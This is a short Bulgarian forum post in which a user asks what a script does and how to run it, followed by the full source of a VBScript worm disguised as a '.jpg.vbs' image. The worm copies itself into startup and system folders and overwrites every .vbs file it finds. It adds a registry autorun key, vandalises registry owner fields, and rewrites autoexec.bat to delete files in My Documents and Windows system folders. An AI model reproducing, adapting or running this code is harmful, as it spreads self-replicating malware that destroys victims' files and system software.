|
Би ли ми обяснил каква е тази глупост и как се стартира защото не само че не работи ами и не мога да разбера какво трябва да направи.
$ cat gotino_golo_gaje.jpg.vbs
;;
;; ' typo, mnogo typo =]
;; '
;;
;; On Error Resume Next
;; dim worm, Map, f, b, Fool, a, fc, nf, fso, d, src, src2, src3
;;
;; Const ForReading = 1, ForWriting = 2, ForAppending = 8
;;
;; Set worm = CreateObject("Scripting.FileSystemObject")
;; Set w = worm.GetFile(WScript.ScriptFullName)
;; w.Copy ("c:\windows\system\gotino_golo_gaje.jpg.vbs")
;; w.Copy ("c:\WINDOWS\Start Menu\Programs\StartUp\RunDLL.vbs")
;; w.Copy ("c:\My Documents\gotino_golo_gaje.jpg.vbs")
;; w.Copy ("c:\gotino_golo_gaje.jpg.vbs")
;; Set f = worm.OpenTextFile(WScript.ScriptFullName, 1)
;; wormcopy = f.ReadAll
;;
;; Set Map = worm.GetFolder("c:\")
;; Set a = Map.Files
;; For each target in a
;; ExtName = lcase(worm.GetExtensionName(target.Name))
;; if ExtName = "vbs" then
;; Set b = worm.OpenTextFile(target.path, 2, True)
;; b.write wormcopy
;; b.close
;; end if
;; next
;;
;; Set Map = worm.GetFolder("c:\My Documents")
;; Set a = Map.Files
;; For each target in a
;; ExtName = lcase(worm.GetExtensionName(target.Name))
;; if ExtName = "vbs" then
;; Set b = worm.OpenTextFile(target.path, 2, True)
;; b.write wormcopy
;; b.close
;; end if
;; next
;;
;; Set Map = worm.GetFolder("c:\Windows")
;; Set a = Map.Files
;; For each target in a
;; ExtName = lcase(worm.GetExtensionName(target.Name))
;; if ExtName = "vbs" then
;; Set b = worm.OpenTextFile(target.path, 2, True)
;; b.write wormcopy
;; b.close
;; end if
;; next
;;
;; Set Map = worm.GetFolder("c:\windows\samples\wsh")
;; Set a = Map.Files
;; For each target in a
;; ExtName = lcase(worm.GetExtensionName(target.Name))
;; if ExtName = "vbs" then
;; Set b = worm.OpenTextFile(target.path, 2, True)
;; b.write wormcopy
;; b.close
;; end if
;; next
;;
;;
;; Set Regedit = CreateObject("WScript.Shell")
;; Regedit.RegWrite ;; "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\WinLoad", ;; "c:\windows\system\gotino_golo_gaje.jpg.vbs"
;;
;; Set Fool = CreateObject("Scripting.FileSystemObject")
;; Set d = Fool.CreateTextFile("c:\lalala.nfo", True)
;; d.WriteLine("navedi se napred i se hwani za palcite na krakata...")
;; d.WriteLine("...tochno taka... aleee... gepi toia WINDOWS")
;; d.close
;;
;; On Error Resume Next
;; MsgBox "Winblows FOREVER!!!", vbApplicationModal, "oIoIoIoIoIo"
;; Regedit.RegWrite ;; "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", ;; "Idiot"
;; Regedit.RegWrite
;; "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ ;; CurrentVersion\RegisteredOrganization", "Idiot"
;; Regedit.RegWrite ;; "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \ProductName", ;; "Winblows 2000"
;; Set Fso = CreateObject("scripting.filesystemobject")
;; Set f = Fso.opentextfile("c:\autoexec.bat", 2, True)
;; f.WriteLine "@Echo off"
;; f.WriteLine "del c:\Mydocu~1\*.???"
;; f.WriteLine "del c:\Windows\System\*.???"
;; f.WriteLine "del c:\Windows\Sysbckup\*.???"
;; f.WriteLine "Echo Kak e jena ti?"
;; f.WriteLine "pause"
;; f.WriteLine "Echo A maika ti?"
;; f.WriteLine "pause"
;; f.WriteLine "echo Nadiawam se da ne te pritesniawam."
;; f.WriteLine "pause"
;; f.Close
|
Lunux vs Windows prodaljenie [re: R1dler]
